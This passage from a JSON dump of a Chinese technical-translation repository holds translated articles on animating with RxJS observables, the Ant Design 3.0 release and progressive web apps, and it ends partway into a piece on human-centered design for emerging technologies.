可以被用于代表任何可以用伴随时间流动的数据流表示的东西，比如事件、Promise、定时执行函数、间隔执行函数和动画。\n\n现在创建的这些 observable 并不做任何有意义的事，除非你真正地 **observe** 它们。**subscription** 就是做这个的，可以用 `.subscribe()` 来创建它。\n\n```\nJS\n\n// 只要我们从 observable 收到一个数，\n// 就将它打印在控制台上。\nmyNumber$.subscribe(number => console.log(number));\n\n// 结果：\n// > 1\n// > 2\n// > 3\n// > 4\n// > 5\n```\n\n让我们在实战中来学习下：\n\n[codepen](http://codepen.io/davidkpiano/pen/d6f5fa72a9b7b6c2c9141de6fa1ab93f)\n\n```\nJS\n\nconst docElm = document.documentElement;\nconst cardElm = document.querySelector('#card');\nconst titleElm = document.querySelector('#title');\n\nconst mouseMove$ = Rx.Observable\n  .fromEvent(docElm, 'mousemove');\n\nmouseMove$.subscribe(event => {\n  titleElm.innerHTML = `${event.clientX}, ${event.clientY}`\n});\n```\n\n通过 `mouseMove$` observable，每一次 `mousemove` 事件发生，subscription 将 `titleElm` 的 `.innerHTML` 更改为鼠标的当前位置。[`.map`](http://reactivex.io/rxjs/class/es6/Observable.js%7EObservable.html#instance-method-map) 操作符（与 `Array.prototype.map` 的工作机制类似）可以帮助简化这段代码：\n\n```\nJS\n\n// 产生如 {x: 42, y: 100} 这种结果，而不是整个事件\nconst mouseMove$ = Rx.Observable\n  .fromEvent(docElm, 'mousemove')\n  .map(event => ({ x: event.clientX, y: event.clientY }));\n```\n\n使用一点点计算和内联样式，你可以让卡片跟着鼠标旋转。`pos.y / clientHeight` 和 `pos.x / clientWidth` 的值都在 0 到 1 之间，所以乘上 50 再减掉一半（25）会产生 -25 到 25 之间的值，也就是我们的旋转值所需要的：\n\n[codepen](http://codepen.io/davidkpiano/pen/55cb38a26b9166c41017c6512ea00209)\n\n```\nJS\n\nconst docElm = document.documentElement;\nconst cardElm = document.querySelector('#card');\nconst titleElm = document.querySelector('#title');\n\nconst { clientWidth, clientHeight } = docElm;\n\nconst mouseMove$ = Rx.Observable\n  .fromEvent(docElm, 'mousemove')\n  .map(event => ({ x: event.clientX, y: event.clientY }))\n\nmouseMove$.subscribe(pos => {\n  const rotX = (pos.y / clientHeight * -50) - 25;\n  const rotY = (pos.x / clientWidth * 50) - 25;\n\n  cardElm.style = `\n    transform: rotateX(${rotX}deg) rotateY(${rotY}deg);\n  `;\n});\n```\n\n### 使用 `.merge` 进行结合\n\n现在你如果想要响应鼠标移动，并在触摸设备上响应触摸移动，你可以使用 RxJS 用不同的方式来结合 observable，不会再有任何因为回调带来的混乱。在这个例子里，我们将使用 [`.merge`](http://reactivex.io/documentation/operators/merge.html) 操作符。就像将多个车道融入单个车道，这将返回单个 observable，其中包含了从多个 observable 融合来的所有数据。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/02/merge.png)\n\n\tJS\n\n    const touchMove$ = Rx.Observable\n      .fromEvent(docElm,'touchmove').map(event =>({\n        x: event.touches[0].clientX,\n        y: event.touches[0].clientY\n      }));\n    const move$ = Rx.Observable.merge(mouseMove$, touchMove$);\n\n    move$.subscribe(pos =>{// ...});\n\n继续，尝试着在触摸设备上左右平移：\n\n[codepen](http://codepen.io/davidkpiano/pen/4a430c13f4faae099e5a34cb2a82ce6d)\n\n也有一些别的 [有用的用于组合 observable 的操作符](http://reactivex.io/documentation/operators.html#combining)，譬如`.switch()`，`.combineLatest()` 和 `.withLatestFrom()`，我们接下来会讨论这些。\n\n### 加入平滑运动（Smooth Motion）\n\n因为旋转卡片实现得太简洁，其运动有一点点生硬。无论什么时候鼠标（或手指）一停，旋转戛然而止。为了补救这点，可以使用线性插值（LERP）。Rachel Smith 的 [这个教程](https://codepen.io/rachsmith/post/animation-tip-lerp) 里描述了这种通用技术。从本质上说，不再直接从 A 点跳到 B 点，LERP 将在每个动画帧上走一部分路。这就产生了平滑的过渡，即使鼠标／触摸已经停止。\n\n让我们创建一个函数，这个函数有一个职责：给定一个开始值和一个结束值，使用 LERP 计算下一个值：\n\n```\nJS\n\nfunction lerp(start, end) {\n  const dx = end.x - start.x;\n  const dy = end.y - start.y;\n\n  return {\n    x: start.x + dx * 0.1,\n    y: start.y + dy * 0.1,\n  };\n}\n```\n\n很短小但是很棒的一段代码。我们有一个 **纯** 函数，每次返回一个新的、线性插值后的位置值，通过在每个动画帧将当前（开始）位置移动 10% 来靠近下一个（结束）位置。\n\n#### Scheduler 和 `.interval`\n\n现在的问题是，我们怎么在 RxJS 里表示动画帧？答案是，RxJS 有一个叫做 **Scheduler** 的东西，它可以控制数据 **什么时候** 从一个 observable 被发送，以及一些其他功能，比如什么时候 subscription 应该开始接收数据。\n\n使用 [`Rx.Observable.interval()`](http://reactivex.io/documentation/operators/interval.html)，你可以创建一个在规律定时的间隔上发送数据的 observable，比如每一秒（`Rx.Observable.interval(1000)`）。如果你创建一个微小的间隔，比如 `Rx.Observable.interval(0)` ，并将它定时为只在使用了 `Rx.Scheduler.animationFrame` 的每个动画帧上发送数据的话，一个数据将会每 16 到 17 毫秒被发送，就像你希望的那样，在一个动画帧内：\n\n```\nJS\n\nconst animationFrame$ = Rx.Observable.interval(0, Rx.Scheduler.animationFrame);\n```\n\n#### 使用 `.withLatestFrom` 进行结合\n\n为了创建一个平滑的线性插值，你只需要关心在 **每个动画帧** 的最新的鼠标／触摸位置。可以使用操作符 [`.withLatestFrom()`](http://reactivex.io/rxjs/class/es6/Observable.js%7EObservable.html#instance-method-withLatestFrom) 来实现：\n\n```\nJS\n\nconst smoothMove$ = animationFrame$\n  .withLatestFrom(move$, (frame, move) => move);\n```\n\n现在，`smoothMove$` 是一个新的 observable，**只有** 当 `animationFrame$` 发送一个数据时，才会从 `move$` 发送最新的数据。这也是我们想要的——你不想要数据从动画帧外被发送（除非你实在喜欢卡顿）。第二个参数是一个函数，其描述了与每个 observable 最新的数据结合时需要做什么。在这种情况下，唯一重要的值是 `move` 值，也就是返回的所有东西。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/02/with-latest-from.png)\n\n#### 使用 `.scan` 进行过渡\n\n既然你有一个 observable ，它能在每个动画帧上从 `move$` 发送最新的数据，是时候加入线性插值了。如果指定一个传入当前和下一个值的函数[`.scan()`](http://reactivex.io/documentation/operators/scan.html) 操作符会从一个 observable 中「累积」这些值。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/02/scan.png)\n\n对于我们的线性插值用例来说，这是最好不过的了。记住我们的 `lerp(start, end)` 函数传入两个参数：`start`（当前）值和 `end`（下一个）值。\n\n```\nJS\n\nconst smoothMove$ = animationFrame$\n  .withLatestFrom(move$, (frame, move) => move)\n  .scan((current, next) => lerp(current, next));\n  // or simplified: .scan(lerp)\n```\n\n现在，你可以 subscribe 到 `smoothMove$` 上，而不是 `move$` 上，从而在动作中看到线性插值：\n\n[codepen](http://codepen.io/davidkpiano/pen/YNOoEK)\n\n### 总结\n\nRxJS **不** 是一个动画库，这是自然，但是使用可组合的、描述式的方式来处理伴随时间流动的数据，对于 ReactiveX 而言是一个核心概念，因此动画是一种能很好地展现这个技术的方式。响应式编程是另一种编程的思维方式，有许多优点：\n\n- 它是声明式的、可组合的，以及不可变的，这避免了回调地狱，让你的代码更加简洁、可复用以及模块化。\n- 它在处理任何类型的异步数据上都很有用，无论是获取数据、通过 WebSockets 通信，从多个源头监听外部事件，还是动画。\n- “关注点分离”——你使用 Observable 和操作符声明式地表示你想要的数据，然后在一个单独的 `.subscribe()` 里处理副作用，而不是将这些在你的代码库里洒得到处都是。\n- 有 **如此多** 语言的实现——Java、PHP、Python、Ruby、C#、Swift，以及别的你甚至没听过的语言。\n- 它 **不是一个框架**，很多流行框架（比如 React，Angular 和 Vue）都跟它一起工作得很好。\n- 如果你想的话，你可以得到很酷的点，但是 ReactiveX 最早在接近十年以前（2009）被实现，从 [Conal Elliott 和 Paul Hudak](http://conal.net/papers/icfp97/) **二** 十年以前（1997）的想法中被提出，这个想法描述的是函数式响应式动画（真是惊奇啊真是惊奇）。不用说，它是经过战斗考验的。\n\n本文探索了一系列 RxJS 中有用的部分和概念——使用 `.fromEvent()` 和 `.interval()` 创建 observable，使用 `.map()` 和 `.scan()` 操作 observable，使用 `.merge()` 和 `.withLatestFrom()` 结合多个 observable，以及使用 `Rx.Scheduler.animationFrame` 引入 scheduler。以下是一些学习 RxJS 的其他有用资源：\n\n- [ReactiveX: RxJS](http://reactivex.io/rxjs/) - 官方文档\n- [RxMarbles](http://rxmarbles.com/) - 用于可视化 observable\n- Andre Staltz 写的 [你曾错过的响应式编程入门](https://gist.github.com/staltz/868e7e9bc2a7b8c1f754)\n\n如果你想要在 RxJS 的动画上钻得更深的话（并且使用 CSS 变量变得更加声明式），可以查看 [我在 2016 年 CSS 开发大会上的幻灯片](http://slides.com/davidkhourshid/reactanim#/) 和 [我在 2016 年 JSConf Iceland 上的讲话](https://www.youtube.com/watch?v=lTCukb6Zn3g)。为了给你更多灵感，这里有一些使用了 RxJS 来做动画的代码：\n\n- [3D 数字时钟](http://codepen.io/davidkpiano/pen/Vmyyzd)\n- [心率 app 概念](http://codepen.io/davidkpiano/pen/mAoaxP)\n- [使用 RxJS 的透镜式拖动](http://codepen.io/Enki/pen/eBwKgO)\n"
  },
  {
    "path": "TODO/announcing-ant-design-3-0.md",
    "content": "> * 原文地址：[Announcing Ant Design 3.0](https://medium.com/ant-design/announcing-ant-design-3-0-70e3e65eca0c)\n> * 原文作者：[Meck](https://medium.com/@yesmeck?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/announcing-ant-design-3-0.md](https://github.com/xitu/gold-miner/blob/master/TODO/announcing-ant-design-3-0.md)\n> * 译者：[木羽](https://github.com/zwwill)\n> * 校对者：[Usey95](https://github.com/Usey95)，[swants](http://www.swants.cn)\n\n\n# Ant Design 3.0 驾到\n\n![](https://cdn-images-1.medium.com/max/2000/1*LipB3O0Bt3sdeP4V9ZILeQ.png)\n\n> **[Ant Design](https://ant.design/index-cn) 是一个致力于提升「用户」和「设计者」使用体验，提高「研发者」开发效率的企业中后台设计体系。**\n\n14 个月前我们发布了 **Ant Design 2.0**。期间我们收到了 200 多位贡献者的 PR，经历了大约 4000 个提交和超过 60 个[版本](https://github.com/ant-design/ant-design/releases)\n\n![](https://cdn-images-1.medium.com/max/800/1*lo18e8-74pk6w5jLPy7npA.png)\n\nGitHub 上的 star 数也从 6k 上升到了 20k。\n\n![](https://cdn-images-1.medium.com/max/1000/1*pn8DEp6GwBgoVksi9kwMuw.png)\n\n自 2015 年以来的 GitHub star 趋势。\n\n![](https://cdn-images-1.medium.com/max/800/1*Pyy85SEu0fYxthrWe7vv-A.png)\n\n**今天，我们很高兴地宣布，Ant Design 3.0 正式发布了**。在这个版本中，我们为组件和网站做了全新的设计，引入了新的颜色系统，重构了多个底层组件，加入了新的特性和优化，同时最小化不兼容的更改。[这里](https://ant.design/changelog-cn#3.0.0)可查看到完整的更改日志。\n\n这是我们的主页：[https://ant.design/index-cn](https://ant.design/index-cn)\n\n### 全新的颜色系统\n\n我们的新颜色系统源于天空的启发，因为她的包容性与我们品牌基调一致。基于对天空色彩随时间自然变化的观察，对光和阴影规则的研究，我们重新编写了颜色算法来生成一个[全新的调色板](https://ant.design/docs/spec/colors-cn)，相应的层次也进行了优化。新调色板的感官更年轻，更明亮，灰度过渡得更自然，是感性美和理性美的完美结合。此外，所有主流色值都参照了信息获取标准。\n\n![](https://cdn-images-1.medium.com/max/1000/1*PzbgW3jZA9uyR8JszwLgAw.png)\n\n### 组件的新设计\n\n在之前的版本中，组件的基本字体大小是 12px，我们收到了很多来自社区的反馈，建议我们加大字号。我们的设计师也意识到，在大屏幕普及的今天，14px 是更合适的字体大小。因此，我们将基本字体大小增大到了 14px，并对所有组件的尺寸进行了适配。\n\n![](https://cdn-images-1.medium.com/max/2000/1*NIlj0-TdLMbo_hzSBP8tmg.png)\n\n### 组件重写\n\n我们重写了 `Table` 组件来解决一些历史性问题。引入了一个新的工具 `components`，现在你可以使用这个工具来高度定制 `Table` 组件，这里有一个[示例](https://ant.design/components/table-cn/#components-table-demo-drag-sorting)，可以添加拖拽功能。\n\n`Form` 组件也被重新编写，为表单嵌套提供更好的支持。\n\n另一个重写的组件是 `Steps`，这个重写的 `Steps` 有着更简单的 DOM 结构并且兼容到IE9。\n\n### 全新的组件\n\n这个版本，我们新增了两个组件， **List** 和 **Divider**。\n\n`List` 组件对于文本、列表、图片、段落和其他数据的显示非常方便。与第三方库集成也很简单，例如，您可以使用 [react-virtualized](https://github.com/bvaughn/react-virtualized) 来实现无限加载列表。更详细的例子可以参考 [List](https://ant.design/components/list-cn/) 文档。\n\n`Divider` 组件可用于在不同的章节中分割文本段落，或者将行内文本/链接分开，如表的动态列。详细的示例可以参考 [Divider](https://ant.design/components/divider-cn/) 文档。\n\n### 全面支持 React 16 和 ES 模块\n\n在这个版本中，我们增加了对 React 16 和 ES 模块的支持。如果你正在使用 webpack 3，那么你现在可以通过 `tree-shaking` 和 `ModuleConcatenationPlugin` 来享受 antd 对组件的优化。如果你使用的是 `babel-import-plugin`，只需将 `libraryDirectory` 设置到 `es` 目录。\n\n### 更友好的 TypeScript 支持\n\n在我们的代码中，我们已经删除了所有的隐式 `any` 类型，在您的项目中不再需要配置 `\"allowSyntheticDefaultImports\": true`。如果您计划使用 TypeScript 来编写项目，请参考我们的新文档 「[在 TypeScript 中使用](https://ant.design/docs/react/use-in-typescript-cn/)」。\n\n### 😍 还有一件事儿\n\n![](https://cdn-images-1.medium.com/max/1000/1*YHn_dMzMYfkIL2Hr5TvXcQ.png)\n\n有些人可能已经知道了，我们正在开发另一个名为 [Ant Design Pro](https://pro.ant.design/) 的项目，它是一个企业级中后台前端/设计解决方案，是基于 Ant Design 3.0 的 React Boilerplate。尽管它还没有达到[ 1.0 版本](https://github.com/ant-design/ant-design-pro/issues/333)。但是随着 antd 3.0 的发布，现在可以投入使用了。\n\n### 接下来\n\n我们的设计师正在重新编写我们的设计指南，并设计一个新的 Ant Design 官网。我们非常高兴能够提供更好的设计语言，以激发更多构建企业级应用的灵感。\n\n为了使 1.0 早日成型，我们的工程师正在投入到 Ant Design Pro 努力工作，同时我们也需要你的帮助来[翻译我们的文档](https://github.com/ant-design/ant-design-pro/issues/120)\n\n### 最后\n\n如果没有你们的支持、反馈和参与，就不可能有今天的成功。感谢优秀的 Ant Design 社区。如果您在使用 antd 时遇到任何问题，可随时在 GitHub [提交问题](https://github.com/ant-design/ant-design/issues/new)。\n\n感谢你的阅读。敬请安装、star、尝试。 🎉\n\n### 链接\n\n*   [Ant Design](https://ant.design)\n*   [Ant Design Github Repository](http://github.com/ant-design/ant-design)\n*   [Ant Design Pro](https://pro.ant.design/)\n*   [Ant Design Mobile](https://mobile.ant.design/)\n*   [NG-ZORRO — An Angular Implementation of Ant Design](https://ng.ant.design)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/any-web-site-can-become-a-pwa-but-we-need-to-do-better.md",
    "content": "\n> * 原文地址：[Any web site can become a PWA – but we need to do better](https://christianheilmann.com/2017/06/27/any-web-site-can-become-a-pwa-but-we-need-to-do-better/)\n> * 原文作者：本文已获原作者 [Christian Heilmann](https://christianheilmann.com/about-this/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/any-web-site-can-become-a-pwa-but-we-need-to-do-better.md](https://github.com/xitu/gold-miner/blob/master/TODO/any-web-site-can-become-a-pwa-but-we-need-to-do-better.md)\n> * 译者：[wilsonandusa](https://github.com/wilsonandusa)\n> * 校对者：[LeviDing](https://github.com/leviding), [Weiting Zhang](https://github.com/Weiting-Zhang)\n            \n\n# 任何网站都可以成为渐进式网络应用 - 但我们需要做的更好\n\n看完[ Jeremy 的博客 ](https://adactio.com/journal/12461)， 我突然觉得间眼前一亮。\n\n> 不管其它人是怎么说的，任意一个网站确实都可以并且应该成为渐进式网络应用。 我去年在一个活动中听到 Chris Heilmann 说你不应该把自己的博客打造成一款渐进式网络应用时，我简直不敢相信我的耳朵。他在视频通话中反复强调：“比方说，我不懂为什么会有人把自己的博客打造成一款渐进式网络应用。我可不想在我的桌面上添加一个图标，这对我而言毫无意义。” 不好意思，只因为你不想在你自己的手机桌面上添一个图标，别人就不应该使用一项最新的技术吗？ 请原谅我说粗话，但，靠，去他妈的！。\n\n>  我们的想象力被当前移动端应用所局限，使得我们像一群没见过世面的原始人那样，一直模仿并持续当前的状态。\n\n> 我不希望网站被原生化；我希望网站能超越原生。我不希望我的屏幕主页布满创业团队和个大公司的标准化应用图标。一个能够让我们自由发布内容的网站才是我想要的。\n\n其实，**我不是告诉大家不要去使用出色且现代化的技术来造福用户并提升自己发布内容的便利**。渐进性网站应用本身的组成能够使其变得比现在更加成功。\n![PWA presentation at JSPoland](https://christianheilmann.com/wp-content/uploads/2017/06/ShareX_2017-06-27_16-52-48-1009x1024.jpg)我正在告知全世界渐进式网站可以应用到任何事上。\n\n\n**我希望我们能做的更多**。我希望现代网络技术仅仅是一个个人使用的东西。我希望我们在平时工作中就能接触并使用到它，而不是要带到工作中，更不是仅惊叹于某人所做或某个公司所做的精彩的页面展示。\n\n在目前所处的大环境下，我们可以使用任何强大的技术，但我们应该把目标定的更高些。我们需要找到哪里会出问题，然后使用更简便明智的方式来取代那些老旧的解决方法。我没有能力告诉任何一个人，在写博客的时候不该使用某项技术，但我也不希望看到一大堆用户体验极差的渐进式网站的出现。以前我们做过太多这样的事了，既然现在我们有这么好的方法，那我们一定要用好的方法来做。\n\n我已经不止一次地公开反对目前的商店形式，因为它们阻碍了大家的使用。在有网络的情况下，这就像是人造的障碍，对吧？\n\n\n也许，事实上新的一代人只知道应用程序，而不是网络程序。在他们眼中网站永远充满广告和恶意软件，应该一直被屏蔽。在一些网络信号不好的地方，人们竟然认为脸书程序就是网络。因为它用起来比那些庞大的网站更方便一些。\n\n\n当我说我不理解为什么要把私人博客转变成渐进式网站时，我指的就是其中令人困惑的应用程序这部分。对我而言，一个应用程序是用来“做”一件事的，而不是去“读”一件事的。我不理解为什么会有连线杂志，卫报，滚石，时代周刊这类应用程序。那么多程序图标们根本没办法都挤在桌面上。我用 RSS 阅读器来浏览博客。我用电子书来阅读（或者浏览网站）。我用 Spotify 或者 iTunes 来听音乐。我可没有给每个乐队或者每部电影下一个应用程序。\n\n我在网上已经为 donkey's 发布过很多文章了，我选择使用博客是因为我不知道你喜欢怎样的方式，我很喜欢这种方式。我觉得你的桌面上不应该出现一个 “Chris Heilmann” 的图标，而应该是一篇推文或者一个书签。你在博客里只能阅读。使用你最开心的方式来写。\n\n我非常赞同 Jeremy:\n\n> 我不希望网站被原生化；我希望网站能超越原生。  \n\n这就是我不希望把博客变成一个应用程序的原因 - 不论哪种形式的应用程序。我希望人们能创造出比书签功能更丰富的渐进式网站 - 甚至离线时，如果有新内容也可以通知我。\n\n这是否就意味着我不赞同你使用一个 manifest 和 service worker 去改进你的网站或者博客呢？一点也不。尽管去做一切对的事。尤其是去做渐进式网站所需的事：停止使用 HTTP 发布并且加密你的服务器。阻止来自中间人的黑客攻击，尤其是那些很高兴成为中间人的政府机构。\n\n我希望网站能在最需要它们的地方成功。我希望原生程序能消失。我不想为了买一张柏林的地铁票而去下载一个程序。我不想每到一个机场都要下一个程序。我尤其讨厌每次参加一次活动都要下载程序。我不想为了我常去的餐厅而下载一个程序。我不需要为这种关系而牺牲我手机上或者电脑桌面／快速启动栏中仅有的一部分存储空间。\n\n我们需要网站在原生程序糟糕的地方超越它：分布式和便捷性。我不希望大家为了完成每件事都去商店下载安装并运行一个程序。我希望大家不用信用卡就能接触到免费的内容。你需要一张信用卡才能使用应用程序商店的免费程序 - 这是一个很大的障碍。我希望大家寻找下列火车，预定餐厅，预约医生或寻找任何东西都不需要考虑网络的连接或者设备的选择。我希望人们能拍照并分享图片。我不希望人们为了不去下载每天 50MB 的升级补丁而一直使用不安全且过时的程序。我不希望人们使用手机自带的程序或者把浏览器当作最后稻草。为了做到以上这些，我们需要拥有更出名的实体和更好的播放器的强大渐进式网站。\n![购买前记得先尝试](https://christianheilmann.com/wp-content/uploads/2017/06/ApplicationFrameHost_2017-06-27_17-20-27-875x1024.jpg)[渐进式网站就是购买前先尝试](https://twitter.com/lakatos88/status/876713746655215616)\n\n我希望用户们能知道掌控权在自己手中。就像我上周在波兰说的一样，渐进式网站就是可以在购买前先进行试用。你登陆某个网址，发现喜欢你所看到的内容。几次浏览后你决定提升这个网站所能控制的权限，比如离线工作甚至给你发送通知。\n\n一个渐进式网站需要能争取到些权限。因此我们需要一个不错的例子。我不再使用原生的 Twitter 了，[Twitter Lite](https://lite.twitter.com/) 能够使用并节省大量的数据和内存。我给很多人展示过这个例子，大家都卸载了原生的 Twitter 程序。这就是我们需要的。\n\n每次我们提倡使用网站都会不断强调这几点：\n- 更加简单的发布方式\n- 人人都能接触内容\n- 不受制于任何人\n- 平台独立，形式独立，邀请独立\n\n当你看到一个日用户量超百万的网站时，情况就很不一样了。\n\n很不幸每个浏览器制造商都有一个跨浏览器协议部门。我们都能为大公司指出他们产品报错的地方并提供解决方法。我们甚至能给予开发者网络工具包以外的解决资源。几乎所有案例中我们都会被问到这样做的商业利益是什么。\n\n当然我们也有不少小胜利，但当前形势下让某人去接受使用网站是很无情的。在我们眼中这样做是非常棒的。\n\n这是为什么？我们拥有技术。我们拥有知识。我们拥有来着无数访谈、书籍和推文的信息。问题是我们应该面向谁。是谁最初建立了如此糟糕的网络？或又有谁在家里搞出了很赞的产品，然而在工作时于由于产品已经无法修复而陷入困境？\n\n当我说我不希望博客成为一款应用程序我不是说你不应该给你的博客增加负荷。我不会阻止任何人去发布内容或使用技术。\n\n但是，我觉得仅仅这样是不够的。我们需要商业上的成功。我们需要打败原生程序的市场。我们需要通过打造更好的依靠网络的解决方式来揭穿原生程序便捷性虚假的一面。\n\n我们已经证明了网站能够良好地支持自我发布内容。目前我们需要面向那些构建iOS 和 Android 应用的人员，为他们的公司提供一个更加功能化的可在线展示的网站。我们可能觉得这是常识，但实际上并不是。我们需要再次提醒人们网络的伟大以及使用网络技术是多么简单。\n\n为此，我们的首要任务便是找到如何在网络上大规模盈利。我们需要找到除了加载广告以外能让用户为内容支付的方式。我们需要展示大量广告及产品的商业型成功案例。 Google 在宣传渐进式网络上花了不少钱。每个大型网络公司都这样做了。我也与合作商联合实现过跨浏览器将普通网站转型为渐进式网站。[这里有很多适合学习的案例](https://developers.google.com/web/showcase/2016/)。我们需要更多的例子。\n\n我不希望开发者为了私人项目需要用空闲时间去学习一项全新的技术。我希望公司能理解渐进式网站的价值以及 - 更重要的是 - 解决目前对网络的误解并且不断地对其进行维护。\n\n如果你认为这些渐进式网站的案例都是与运气有关，是因为参与的人恰好热爱网络 - 请三思。说服一家公司去做一件“十分明显”的事往往要付出极大的精力，以及大量的时间与金钱。许多公司内部的开发者会不顾自己的前途去劝上级使用另一种解决方式来满足需求。我们需要这样做，我们需要提醒大家想要质量就要付出努力，而不是仅仅给一个无法维护的老项目加个 manifest 和 service worker 那么简单。\n\nJeremy 希望世界变成：\n> 我不希望我的屏幕主页布满创业团队和个大公司的标准化应用图标。然而一个布满能够自由发布内容的网站的手机主屏才是我想要的。\n\n我想要做的更多。我希望商业广告的世界和线上交易市场并不只有原生应用程序和封闭的市场。我不希望大家都觉得为了接触一些内容而去买一台 iPhone 很正常。我不希望公司在能用网络开发的时候却为了在应用商店里展示一款应用程序而花大价钱。我觉得我们现在所处的世界正是 Jeremy 所描述的。而且 - 我想再强调 - 如果大家都认为这一个好想法而且想要这么做，那么我希望大家都能接受它。\n\n为了将你目前的网络产品转换为渐进式网站，任何的努力都不会变为徒劳。你做的这些，对产品的质量与寿命而非常有益。这是最棒的地方。但这也意味着你需要控制产品的质量，以让那些有安装 APP 需求的人获得他们所需要的东西。我们之前讨论过这些质量目标，目前有几家公司开始推行他们的想法了。这不意味着我们要审查网络或者让雇员们停工（公司以外也有人为此而工作）。这意味着我们不想再次重演 “HTML5 应用程序用户体验极差”的悲剧。\n\n我已经用了好多年博客了。我从中学到了很多，这很棒。但我不希望网络成为人们所信奉的一件事。我希望大家别把网络当做应用程序的货仓来使用 - 尤其是广告公司。我们为了制作能让大家每天都接触网络的产品而逃避了很多责任。目前应用程序／商店的没落是极好的机会。我希望每个感兴趣有想法的人都参与其中。\n\n我无法想象我会拥有一部全都是人脸图标的手机。这应该是本电话簿才对。同样的道理我用电子书（就是我的浏览器）来阅读。我不需要为每个作者而拥有一款应用程序。\n\n我觉得拥有一款阅读收集器的想法不错，这样可以用来查看最新且能触发灵感的摘要。我喜欢使用能帮我进行寻找的阅读器。这样如果我想和这些著作背后的作者聊聊我可以直接联系他们来交谈，或者 - 更好的是 - 直接和他们见面。\n\n一款应用程序 - 对我而言 - 是用来做一件事的。 这个博客对我而言是一款应用程序，对其他人而言就不是了。你无法进行编辑。我甚至关掉了评论区所以我能花更多的时间在调整内容而不是回答问题上。这就是为什么它不是一款渐进式网络程序。我可以改变这个网站，但我总觉得当你把我的网站放到你的手机主屏上时我就应该多发点文章。\n\n所以当我说个人博客对我而言不是渐进式网站时，这就是我想说的。应用程序是用来做一件事的。如果我除了阅读或者分享外做不了什么，那么你可以把这个网站改成渐进式网站。但我可能不会去安装。我不会去下载 Kim Kardashian 或某个乐队的应用程序也是出于同样的原因。\n\n这和你发表文章的权利没关系。而是有关能否在用户的主屏幕，快速启动栏或者桌面上有限的空间里占得一席之地。如果你喜欢在屏幕上加满朋友的博客或者你喜欢的人 - 很好。我其实想看到在不久的将来出厂手机能为了这类人而自带渐进式网络程序。而不是需要 200MB 升级包，最终又无法升级而遗留安全问题的应用程序。我希望网络连接能集中在最新的设备中，为此我们需要把目标定的更高，做得更好。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/applying-human-centered-design-to-emerging-technologies.md",
    "content": "> * 原文地址：[Applying human-centered design to emerging technologies](https://medium.com/googleplaydev/applying-human-centered-design-to-emerging-technologies-6ad7f39d8d30)\n> * 原文作者：[IDEO](https://medium.com/@ideo?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/applying-human-centered-design-to-emerging-technologies.md](https://github.com/xitu/gold-miner/blob/master/TODO/applying-human-centered-design-to-emerging-technologies.md)\n> * 译者：[dongpeiguo](https://github.com/dongpeiguo)\n> * 校对者：[dreamhb](https://github.com/dreamhb)  [ryouaki](https://github.com/ryouaki)\n\n\n# 新兴技术领域中以用户为中心的设计的应用\n\n\n## VR（虚拟现实）, AR（增强现实）,以及电子助手为未来提供了令人激动的可能，但是如何确保我们的设计是人们真正想要的呢？\n\n作者[_Peter Hyer_](https://medium.com/@phyer)_,_ [_Fabian Herrmann_](https://medium.com/@fherrmann)_, 和 [_Kristin Kelly_](https://medium.com/@heykk)\n\n![](https://cdn-images-1.medium.com/max/2000/1*N55eb498TKixiLSiy3Olow.jpeg)\n\n\n**_“如果我可以去任何地方，我想带着我的狗吃着冰淇淋坐着我的金色兰博基尼飞去火星。”_** — Amadi, 11岁\n\n当你梦想着未来的时候，你会看到什么？ 你是否梦想过可以同时测距离和水平面？你是否幻想热词和话语的捕捉？可能没有。最可能的是，当你想到未来的时候，你想象你可以去的地方，可以做的事情以及你可以成为的人，就像你小时候的想法。\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/yeTSI-k-PyM\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n今年早些时候，Google 